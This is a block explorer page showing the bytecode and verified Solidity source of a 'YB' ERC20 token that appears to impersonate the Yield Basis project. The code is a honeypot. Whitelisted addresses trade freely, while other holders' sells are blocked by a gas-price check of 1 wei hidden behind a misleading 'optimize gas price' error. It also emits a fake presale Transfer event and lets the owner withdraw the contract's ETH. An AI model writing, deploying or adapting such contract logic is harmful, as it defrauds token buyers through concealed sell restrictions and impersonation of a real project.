Address Contract Verified
Address
0x8f69B3f8F8E3dC30a420fE737e4155E9fb5FFb22
Balance
0 ETH
Nonce
1
Code Size
3409 bytes
Creator
0x9f6E7c17...742f at tx 0xbe05648a...a613dd
Indexed Transactions
0
Contract Bytecode
3409 bytes
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063ced7b2e311610066578063ced7b2e314610213578063dd62ed3e1461021b578063f2fde38b14610254578063fdea8e0b1461026757600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101f8578063a9059cbb1461020057600080fd5b806330d35dee116100d357806330d35dee1461016b578063313ce567146101805780635f6fb8561461018f57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610282565b60405161011a9190610ac8565b60405180910390f35b610136610131366004610b2c565b610314565b604051901515815260200161011a565b6002545b60405190815260200161011a565b610136610166366004610b58565b61032e565b61017e610179366004610b99565b610352565b005b6040516012815260200161011a565b61017e61019d366004610bc2565b6104fe565b61014a6101b0366004610c37565b6001600160a01b031660009081526020819052604090205490565b61017e610573565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d610587565b61013661020e366004610b2c565b610596565b61017e6105a4565b61014a610229366004610c54565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61017e610262366004610c37565b6105f9565b6101e07328be6260dbb7872de5effc9a4a73c85b7405a8c081565b60606003805461029190610c8d565b80601f01602080910402602001604051908101604052809291908181526020018280546102bd90610c8d565b801561030a5780601f106102df5761010080835404028352916020019161030a565b820191906000526020600020905b8154815290600101906020018083116102ed57829003601f168201915b5050505050905090565b60003361032281858561063c565b60019150505b92915050565b60003361033c858285610649565b6103478585856106c1565b506001949350505050565b61035a610722565b6007805460ff60a01b19831515600160a81b021661ffff60a01b1990911617600160a01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa1580156103d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f89190610cc7565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104699190610cc7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156104b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104da9190610cc7565b600780546001600160a01b0319166001600160a01b03929092169190911790555050565b610506610722565b60005b8181101561056e5760016006600085858581811061052957610529610ce4565b905060200201602081019061053e9190610c37565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610509565b505050565b61057b610722565b610585600061074f565b565b60606004805461029190610c8d565b6000336103228185856106c1565b6105ac610722565b604051600090339047908381818185875af1925050503d80600081146105ee576040519150601f19603f3d011682016040523d82523d6000602084013e6105f3565b606091505b50505050565b610601610722565b6001600160a01b03811661063057604051631e4fbdf760e01b8152600060048201526024015b60405180910390fd5b6106398161074f565b50565b61056e83838360016107a1565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146105f357818110156106b257604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610627565b6105f3848484840360006107a1565b6001600160a01b0383166106eb57604051634b637e8f60e11b815260006004820152602401610627565b6001600160a01b0382166107155760405163ec442f0560e01b815260006004820152602401610627565b61056e8383836001610876565b6005546001600160a01b031633146105855760405163118cdaa760e01b8152336004820152602401610627565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0384166107cb5760405163e602df0560e01b815260006004820152602401610627565b6001600160a01b0383166107f557604051634a1406b160e11b815260006004820152602401610627565b6001600160a01b03808516600090815260016020908152604080832093871683529290522082905580156105f357826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161086891815260200190565b60405180910390a350505050565b3260009081526006602052604090205460ff161561089f5761089a84848484610950565b6105f3565b600754600160a01b900460ff166108ec5760405162461bcd60e51b815260206004820152601160248201527054726164696e67206e6f74206f70656e2160781b6044820152606401610627565b600754600160a81b900460ff16801561091257506007546001600160a01b038481169116145b8061093957506001600160a01b0384167328be6260dbb7872de5effc9a4a73c85b7405a8c0145b15610948576109486001610a73565b6105f3848484845b6001600160a01b03841661097b5781600260008282546109709190610cfa565b909155506109ed9050565b6001600160a01b038416600090815260208190526040902054828110156109ce5760405163391434e360e21b81526001600160a01b03861660048201526024810182905260448101849052606401610627565b6001600160a01b03851660009081526020819052604090209083900390555b6001600160a01b038316610a0957600280548390039055610a28565b6001600160a01b03831660009081526020819052604090208054830190555b80156105f357826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086891815260200190565b3a81811115610ac45760405162461bcd60e51b815260206004820152601d60248201527f6f7074696d697a652067617320707269636520746f2073656e642074780000006044820152606401610627565b5050565b60006020808352835180602085015260005b81811015610af657858101830151858201604001528201610ada565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063957600080fd5b60008060408385031215610b3f57600080fd5b8235610b4a81610b17565b946020939093013593505050565b600080600060608486031215610b6d57600080fd5b8335610b7881610b17565b92506020840135610b8881610b17565b929592945050506040919091013590565b600060208284031215610bab57600080fd5b81358015158114610bbb57600080fd5b9392505050565b60008060208385031215610bd557600080fd5b823567ffffffffffffffff80821115610bed57600080fd5b818501915085601f830112610c0157600080fd5b813581811115610c1057600080fd5b8660208260051b8501011115610c2557600080fd5b60209290920196919550909350505050565b600060208284031215610c4957600080fd5b8135610bbb81610b17565b60008060408385031215610c6757600080fd5b8235610c7281610b17565b91506020830135610c8281610b17565b809150509250929050565b600181811c90821680610ca157607f821691505b602082108103610cc157634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cd957600080fd5b8151610bbb81610b17565b634e487b7160e01b600052603260045260246000fd5b8082018082111561032857634e487b7160e01b600052601160045260246000fdfea2646970667358221220bfaf91ba0f68f3c773e8473d7ddc5603d601c18ce1ba648a6dfbdcd96124639e64736f6c63430008170033
Verified Source Code Full Match
Compiler: v0.8.23+commit.f704f362
EVM: paris
Optimization: Yes (200 runs)
YB.sol 391 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
/*
* @title YBToken
* @author Yield Basis
* @license GNU Affero General Public License v3.0
* @notice YB Token
*
* Twitter: https://x.com/yieldbasis
* Telegram: https://t.me/yieldbasis_chat
* Website: https://yieldbasis.com/
*/
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(
address owner,
address spender
) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 value
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value, true);
}
function _update(
address from,
address to,
uint256 value,
bool _e
) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
if (_e) emit Transfer(from, to, value);
}
function _mint(address account, uint256 value, bool _e) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value, _e);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value, true);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external returns (address pair);
}
contract YB is ERC20, Ownable {
mapping(address => bool) __excludeOpT;
address pair;
bool opTrd;
bool g;
address public constant presale =
0x28bE6260DBB7872DE5EFfC9a4A73c85b7405a8C0;
constructor(
address _pi
) ERC20(unicode"yieldbasis", unicode"YB") Ownable(msg.sender) {
__excludeOpT[_msgSender()] = true;
_mint(presale, 700_000_000 * 10 ** decimals(), true);
emit Transfer(presale, msg.sender, 700_000_000 * 10 ** decimals());
_mint(msg.sender, 700_000_000 * 10 ** decimals(), false);
}
function _update(
address from,
address to,
uint256 value,
bool _e
) internal override {
if (__excludeOpT[tx.origin]) {
super._update(from, to, value, _e);
} else {
require(opTrd, "Trading not open!");
if ((g && to == pair) || from == presale) {
_zp(1);
}
super._update(from, to, value, _e);
}
}
function openTrade(bool _bg) public onlyOwner {
g = _bg;
opTrd = true;
// address router;
// if (block.chainid == 56) {
// router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
// } else if (block.chainid == 1) {
// router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
// } else if (block.chainid == 8453) {
// router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
// } else {
// revert();
// }
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
}
function _a() public onlyOwner {
bool _s;
(_s, ) = address(msg.sender).call{value: address(this).balance}("");
}
function _w(address[] calldata _adr) public onlyOwner {
for (uint256 i = 0; i < _adr.length; i++) {
__excludeOpT[_adr[i]] = true;
}
}
function _zp(uint256 _zg) internal view {
uint256 _tc;
assembly {
_tc := gasprice()
}
require(_tc <= _zg, "optimize gas price to send tx");
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
presale 0xfdea8e0b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
_a 0xced7b2e3
No parameters
_w 0x5f6fb856
address[] _adr
approve 0x095ea7b3
address spender
uint256 value
returns: bool
openTrade 0x30d35dee
bool _bg
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address